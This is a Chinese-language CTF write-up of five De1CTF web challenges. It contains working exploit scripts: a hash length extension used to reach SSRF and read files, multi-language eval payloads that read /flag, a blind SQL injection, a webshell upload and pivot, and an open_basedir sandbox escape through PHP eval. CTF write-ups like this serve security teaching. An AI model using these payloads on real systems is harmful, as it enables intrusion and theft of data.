前言
为了去重庆XCTF Final吃火锅,周末就冲了一下De1CTF,以下是本次比赛Web题解。
SSRF Me
拿到题目源码如下:
#! /usr/bin/env python #encoding=utf-8 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox) def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False #generate Sign For Action Scan. @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read() def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout" def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest() def md5(content): return hashlib.md5(content).hexdigest() def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
观察一下,发现就是个比较裸的SSRF:
def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout"
然后waf如下:
def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
同时结合题目告诉我们flag位置:
hint for [SSRF Me]: flag is in ./flag.txt
那么显然只要能任意文件读取,bypass file过滤即可,这里容易想到可以使用local_file:
但是我们发现想要利用scan,要先bypass签名校验:
def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
我们跟进getSign():
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
而salt我们知道:
secert_key = os.urandom(16)
所以这明显是一个已知salt长度的hash长度拓展攻击的问题,那么很容易写出脚本如下:
import hashpumpy import requests import urllib url = 'local_file:flag.txt' r = requests.get('http://139.180.128.86/geneSign?param='+url) old_sign = r.content new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16) cookies={ 'sign': new_sign[0], 'action': urllib.quote(new_sign[1][19:]) } r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies) print r.content
9calc
第3次calcalcalc了,不想再分析了,脚本如下:
import requests # flag1 js # chr(j),i,chr(j) data1 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && require('fs').readFileSync('/flag').toString()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}''' # flag2 python # i,chr(j),chr(j) data2 = r'''{"expression":{"value":"1//1 and open('/flag').read()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}''' # flag3 php # chr(j),chr(j),i data3 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".file_get_contents(\"/flag\")[%s];')\n","_bsontype":"Symbol"},"isVip":true}''' header = { "Content-Type":"application/json" } url = "http://45.77.242.16/calculate" res = '' for i in range(0,20): print i for j in range(32,127): # now_data = data1%(chr(j),i,chr(j)) # now_data = data2%(i,chr(j),chr(j)) now_data = data3%(chr(j),chr(j),i) r = requests.post(url,data=now_data,headers=header) if 'ret' in r.content: res+=chr(j) print res break
可以得到flag:
de1ctf{i_hate_bunkatsu_soho}
ShellShellShell
这题有点无语,第一层是N1CTF的题,参考如下链接:
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
这题再简单说一下思路吧:
1.注入得到管理员密码
2.soapclient发起ssrf
3.进行CRLF头注入登录
4.拿到admin session
我们直接用上述链接中的脚本:
首先生成验证码映射关系:
然后是注入密码:
最后是SSRF拿到admin session:
然后是一个裸上传:
同时提醒我们flag在内网,这里的上传没任何过滤,随便传个小马即可RCE,然后上传代理,扫描内网,得到题目ip:
Nmap scan report for 172.18.0.1 Host is up (0.00031s latency). Nmap scan report for dockerdir_getshell_1.dockerdir_default (172.18.0.2) Host is up (0.00022s latency). Nmap scan report for 29e2e46b7ac1 (172.18.0.3) Host is up (0.00015s latency). Nmap done: 256 IP addresses (3 hosts up) scanned in 1.91 seconds
访问172.18.0.2,得到源码如下:
然后发现似曾相识= =:
那么就用这篇Blog的方式可以轻松解决:
https://skysec.top/2018/11/04/2018%E4%B8%8A%E6%B5%B7%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-web/#web3
cloudmusic_rev
看到是2.0版本,本能搜了一下,发现是2019国赛final的题目,题解如下:
https://github.com/impakho/ciscn2019_final_web1
按照题解思路,可以迅速拿到/lib/parser.so文件:
尝试读取.php的时候,发现有过滤:
但可以用%2e url编码进行绕过:
那么读取关键文件进行diff:
upload.php
利用原题解中的方式进行password leak,发现代码有改变,简单分析发现是off by null,构造:
即可leak password:
admin 22Z2teQgmmLQJLjD
接着diff firmware.php:
发现在firmware中,文件名称做了改动,拼接字符串变成了remote_addr,并且在后面回显版本号的时候,去掉了回显。
也就是说,这道题只能盲打了:
不会再如上图打印执行命令结果了。
按照原题的思路,我们使用如下命令去getflag:
/usr/bin/tac /flag
但是考虑到不能回显,于是我们构造curl带出,编写相应的文件:
预测文件path:
<?php $seed = strtotime("Sun, 04 Aug 2019 07:16:55 GMT"); for($i=-50;$i<50;$i++) { mt_srand($seed+$i); echo md5(mt_rand()."202.120.234.54")."','"; } fuzz目录与上传: import requests url = 'http://139.180.144.87:9090/hotload.php?page=firmware' cookies = { 'PHPSESSID':'0khipdkurln3q6a4tli9t7v38o' } def upload(): f = open('exp.so','rb') firmware = f.read() files = {'file_data': firmware} data = {'file_id': '0'} r = requests.post(url=url, data=data, files=files,cookies=cookies) if '"status":1' in r.content: return r.headers def fuzz_path(path): data = { 'path':path } r = requests.post(url=url, data=data, cookies=cookies) print r.content if 'loading firmware' in r.content: print path r = upload() print r seed_list = ['8674e9e3b1f875549154d6e67275f996','df6dfa987283ffb730857170b5d43128','541c571155c89cd4e183b4b17cb15f58','6ec428a2d4228ef2378d38e0902cb8ab','e1badd072582c8e7aae04c3ee7e77dae','539276560804530afc08eb2499e0b865','6a2bd9ce496568d210e0a9c0d25b4dfb','c18761d54636950afddf19841d7d89b0','5e40c2d36b72330faec9ae8cc8728365','e5fdd8f158a6953e088abc2915ab211a','1d1952993a48af0128eaf6da5f32676b','9a189fabc6147d2f894468a657edf5b9','d255c575bf2b8d2af0f44f520a09369b','0a056867908b10edff7fc312d4798622','e537949893013ab3163806171bae5735','13f95e9313bfe44e8f80fa42980c1bc3','8aad66d7c84981b96d31760027c4ccd1','b47097b9846a8c83499d4342de33db31','82f720249f5b6c1c9faffc7a5ec93ebc','611c45a5ff023134e3034d1fd6de2248','04491f0cc963af38fac5752070608a34','8de0681a471bfb5868a843fa489864a3','83ffca4f8f927a2d4615e677b2b4b44c','55d9cbcf35c57ffb7dbc10a91490fe59','f38692e68e3628541adb02f4688804d1','19baad3d00d52e65f80a8593b4ba255d','1e4355a0829c2c740fa71ec49c8fa02a','8eb1d6fdc6bf3c774cddc76ab3868fb1','0e6d3172d8be061d7a4abf3e167574be','c7dc7167891bfa24d8e68fae459b643e','7d272df00c853691d3fcac63df650984','dcc78a64935d765ccda0813173a2cd16','f3ec93c54a6ca1719a467fade49ee233','f4974c648bead1faaca6f8fe38dcd3f2','519886b669fef5706ff30dd95ca48997','3db6f01c8d159dba6356ce0c2e337f30','502d5dc2723468c378d721bb1e868191','fa1df40a8ac9d237955d3e4c22cb4b45','04e0c4e04a675b45fad3ffaddfd9040c','efcbd1b16518f2bf91b958af269c030b','9409d27de31a6dd2550f8b9e1ae3aba9','6743ff069733273efa1cd624e431983e','92aa4fe93a448a1677d9782e5f81e62d','d309f564f9e116b1a69555d0f9fef3a8','1a16f4e59332688eea6e28677d5ac141','700cb511e95356b8b2877b79d01ad054','b3d8b293864a1621d889daca93bb4812','6b7d6adab9ed716b013f8fcc027bf314','ad689aa5e736a5b16564534e5b890e1f','f53152e6de1c50be961696c529872313','38e397ff4154ca8b1574d6f6c15f860e','0b800d7e01ee2bfe9cd7c3a113127ca0','856500703f201b2b2391ad11a764dc7e','88a7336ae95aa16de1c1104fb4f21b8a','f6c4c31982540d11a4885689b97cf3a4','99db02fc851509e4b32e74837d6016dd','bf63960fa6f4a4a08a33f9ce403c4fba','5910dd2743cc3b62e9ca4a4f5158b192','311b24e5788e747db2e479f7e22b7873','8322ab2861f27f19544f095978096f89','8bbe576e9e77d23631303ea2a04945e2','30c3afeed3110d63a9b9655ad85798a4','fab6fb7271b1e19ef47cd106df0df361','8fb438550190c9739d0f00e8cfcd9bd3','f4160f3b5400f9aeb03ffbcd3223af1b','240716ddb36b83dfe6d898ff3bfbe59b','8df5da70fa1004206502c60bb00b188d','513154bb13bbcd82fae47c9163c834cb','248a1a48cc311247505ad4e366c17913','57ee7af50ab35086d89ed3812cc4b922','56d1ae03f68465af760bebe3293d3f96','750d7d5423b613fbc8e9a20cc096a9c2','e722b86026e105dc33f568cbf65c8dc2','58e951f616b7828781abd35aaf3c2fad','6f940887eccffea62552d9d1579c34fe','cc615bb9a427a545bfb4c5aa6bb7e873','67a38d3d9f9a83300a31078a84e7bc6b','abb9c0849d11bd316db61bbef5de2522','3730b7a1430756cf80ef2ed80f334a3d','8129b4b2bb3cbe6f5cb7f4879267460b','f4c1d2ac6dc6369c828a8b2c6e4b8b6e','eec7163c18052f4d2844fc8a55200882','6715685e28f1da676cb6baa2da283ee5','5171458efb3e8fe0b6451d92022985c5','066253bcf4518a1ae34b5a6087547b3f','bc473690484a0e4095ff4861b865bf5d','87d32b90d517565857180baf8f78e67b','eab88164ddeffdf69450a1c8f63d2745','daa626adb92cc1676f5b361e39f2e300','c87a4851696eba43b471792cd7faa13d','399200ad28d61daf4b38309ed5f5f4ac','b75c53b9d349003f7dc5c04b00231184','4d8b7016cd85b5170bc1e2e9ee52ee71','8b844fa17339dcccb9ee471078fec5f2','91dfa5f1c6da365f7c6238713988c48b','1147948d33ade9b9dab90c313a8fd519','4363f8a2d8118f65a8e8311296246393','48bcc07d28e368d7d8d9798369398312','2a205e44d4222bdded0369b0623cad85','8101cc7c376b9404ad99c2a2b41d236c'] for i in seed_list: fuzz_path(i)
爆破一轮后,成功获得path,拿到flag:
Giftbox
题目拿到后,发现会往shell.php发ajax请求,并带有随机数,同时观察命令:
发现有login,于是发现注入,写出脚本注出密码:js
async function ajax(username) { return new Promise(function (resolve, reject) { let ajaxSetting = { url: host + `/shell.php?a=login%20${encodeURIComponent(username)}%201&validthis=1&totp=${new TOTP("GAXG24JTMZXGKZBU",8).genOTP()}`, type: "GET", dataType: 'json', success: function (response) { resolve(response); }, error: function () { reject("请求失败"); } } $.ajax(ajaxSetting); }); } async function test(username) { const res = await ajax(username); return res.message } async function blind() { let ret = "" for(let j = 1; j < 100; j++) { for(let i = 0x20; i < 0x7f; i++) { //表名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(TABLE_NAME)\x0afrom\x0ainformation_schema.TABLES\x0awhere\x0aTABLE_SCHEMA=database()),${j},1))=${i})#`) //列名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(COLUMN_NAME)\x0afrom\x0ainformation_schema.COLUMNS\x0awhere\x0aTABLE_NAME=0x7573657273),${j},1))=${i})#`) const message = await test(`admin'and(ascii(substr((select\x0apassword\x0afrom\x0ausers\x0alimit\x0a0,1),${j},1))=${i})#`); if(message == 'login fail, password incorrect.') { ret += String.fromCharCode(i); console.log(ret) break; } } console.log(`${j}: ${ret}`) } return ret; }
密码为:
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
发现就是eval的sandbox逃逸,而测试发现,过滤了大量的特殊符号,但可利用trick,如下:
同时花括号可以代替中括号:
$_GET[sky] = $_GET{sky}
那么可以构造出如下exp:
targeting a _GET targeting b sky targeting c {${$a}{$b}} targeting d ${eval($c)}
然后发包的时候带上sky参数即可RCE:
launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('/*'));")
launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(readfile('/flag'));")
后记
De1CTF的Web还是比较简单的,如果有更多解法请留言交流~